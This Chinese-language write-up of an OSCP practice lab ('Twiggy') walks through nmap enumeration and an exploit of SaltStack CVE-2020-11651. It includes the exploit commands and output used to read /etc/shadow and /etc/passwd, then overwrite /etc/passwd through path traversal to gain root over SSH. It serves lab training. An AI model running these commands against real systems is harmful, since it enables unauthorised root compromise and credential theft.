OSCP靶场–Twiggy

考点(CVE-2020-11651[RCE])

1.nmap扫描

##
┌──(root㉿kali)-[~/Desktop]
└─# nmap 192.168.216.62 -sV -sC  -Pn --min-rate 2500 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-30 06:43 EDT
Nmap scan report for 192.168.216.62
Host is up (0.52s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 44:7d:1a:56:9b:68:ae:f5:3b:f6:38:17:73:16:5d:75 (RSA)
|   256 1c:78:9d:83:81:52:f4:b0:1d:8e:32:03:cb:a6:18:93 (ECDSA)
|_  256 08:c9:12:d9:7b:98:98:c8:b3:99:7a:19:82:2e:a3:ea (ED25519)
53/tcp   open  domain  NLnet Labs NSD
80/tcp   open  http    nginx 1.16.1
|_http-title: Home | Mezzanine
|_http-server-header: nginx/1.16.1
4505/tcp open  zmtp    ZeroMQ ZMTP 2.0
4506/tcp open  zmtp    ZeroMQ ZMTP 2.0
8000/tcp open  http    nginx 1.16.1
|_http-title: Site doesn't have a title (application/json).
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.16.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.30 seconds

2.user priv

## 目录扫描无结果：
http://192.168.216.62:80
http://192.168.216.62:8000

####################################
## google搜索exp:
## ZeroMQ zmtp 2.0 exploit github
https://github.com/jasperla/CVE-2020-11651-poc/blob/master/exploit.py

##测试exp:
## 参考：
https://blog.csdn.net/weixin_57242378/article/details/130951331
https://developer.aliyun.com/article/1295868

####################################
## 更新
┌──(root㉿kali)-[~/Desktop]
└─# apt-get update

## 安装venv工具：
┌──(root㉿kali)-[~/Desktop]
└─# apt install python3.11-venv


### 创建虚拟环境myenv:
┌──(root㉿kali)-[~/Desktop]
└─# python -m venv myenv
        
##  激活虚拟环境：linux系统                                                                                                                                                                              
┌──(root㉿kali)-[~/Desktop]
└─# source myenv/bin/activate

## 激活后出现myenv:说明虚拟环境可用：
┌──(myenv)─(root㉿kali)-[~/Desktop]
└─# 

#####################
## 利用exp脚本：提示缺少salt模块：
┌──(myenv)─(root㉿kali)-[~/Desktop]
└─# python CVE-2020-11651-2.py --master 192.168.216.62 -r /etc/shadow
Traceback (most recent call last):
  File "/root/Desktop/CVE-2020-11651-2.py", line 16, in <module>
    import salt
ModuleNotFoundError: No module named 'salt'

### 安装相关模块：
┌──(myenv)─(root㉿kali)-[~/Desktop]
└─# pip install salt   

###############
## 读/etc/shadow文件利用exp利用成功：说明具有高权限：
┌──(myenv)─(root㉿kali)-[~/Desktop]
└─# python CVE-2020-11651-2.py --master 192.168.216.62 -r /etc/shadow
[+] Checking salt-master (192.168.216.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: EhN8Uknfm4lWhieX13oN5C+NiHo63BzPifodAAOygyu3DL3ZUnCX4BEV9cvD/zT4NfCHQ22Hq7s=
[+] Attemping to read /etc/shadow from 192.168.216.62
root:$6$WT0RuvyM$WIZ6pBFcP7G4pz/jRYY/LBsdyFGIiP3SLl0p32mysET9sBMeNkDXXq52becLp69Q/Uaiu8H0GxQ31XjA8zImo/:18400:0:99999:7:::
bin:*:17834:0:99999:7:::
daemon:*:17834:0:99999:7:::
adm:*:17834:0:99999:7:::
lp:*:17834:0:99999:7:::
sync:*:17834:0:99999:7:::
shutdown:*:17834:0:99999:7:::
halt:*:17834:0:99999:7:::
mail:*:17834:0:99999:7:::
operator:*:17834:0:99999:7:::
games:*:17834:0:99999:7:::
ftp:*:17834:0:99999:7:::
nobody:*:17834:0:99999:7:::
systemd-network:!!:18400::::::


###########################
## 读：/etc/passwd
┌──(myenv)─(root㉿kali)-[~/Desktop]
└─# python CVE-2020-11651.py --master 192.168.216.62 -r /etc/passwd
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
/root/Desktop/myenv/lib/python3.11/site-packages/salt/transport/client.py:27: DeprecationWarning: This module is deprecated. Please use salt.channel.client instead.
  warn_until(
[+] Checking salt-master (192.168.216.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: EhN8Uknfm4lWhieX13oN5C+NiHo63BzPifodAAOygyu3DL3ZUnCX4BEV9cvD/zT4NfCHQ22Hq7s=
[+] Attemping to read /etc/passwd from 192.168.216.62
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
mezz:x:997:995::/home/mezz:/bin/false
nginx:x:996:994:Nginx web server:/var/lib/nginx:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin

 

#################
## 尝试反弹shell失败，可能存在防火墙原因：
## 使用exp可用上传文件，使用exp上传/etc/passwd覆盖获取root权限：
┌──(root㉿kali)-[~/Desktop]
└─# openssl passwd pass@123             
$1$0u9R34Oq$BL8AGWccOv95x6nX2A2bT1

## kali准备：passwd.txt
root:$1$0u9R34Oq$BL8AGWccOv95x6nX2A2bT1:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
mezz:x:997:995::/home/mezz:/bin/false
nginx:x:996:994:Nginx web server:/var/lib/nginx:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin

##############
## 上传/etc/passwd:
┌──(myenv)─(root㉿kali)-[~/Desktop]
└─# python CVE-2020-11651-2.py --master 192.168.216.62 --upload-src /root/passwd.txt --upload-dest ../../../../../../etc/passwd
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
/root/Desktop/myenv/lib/python3.11/site-packages/salt/transport/client.py:27: DeprecationWarning: This module is deprecated. Please use salt.channel.client instead.
  warn_until(
[+] Checking salt-master (192.168.216.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: EhN8Uknfm4lWhieX13oN5C+NiHo63BzPifodAAOygyu3DL3ZUnCX4BEV9cvD/zT4NfCHQ22Hq7s=
[+] Attemping to upload /root/passwd.txt to ../../../../../../etc/passwd on 192.168.216.62
[ ] Wrote data to file /srv/salt/../../../../../../etc/passwd

###########
## root用户登陆：密码：pass@123
┌──(root㉿kali)-[~/Desktop]
└─# ssh root@192.168.216.62
root@192.168.216.62's password: 
Last failed login: Sat Mar 30 10:25:35 EDT 2024 from 192.168.45.171 on ssh:notty
There was 1 failed login attempt since the last successful login.
[root@twiggy ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@twiggy ~]# ls
proof.txt
[root@twiggy ~]# cat proof.txt
cd52a063f8f4eaed7f17a4f8e6fb3daa
[root@twiggy ~]# 

覆盖/etc/passwd:

3. root priv

## 略...

4.总结：

##
https://www.exploit-db.com/exploits/48421
https://github.com/jasperla/CVE-2020-11651-poc/blob/master/exploit.py

## 提权：/etc/passwd覆盖提权：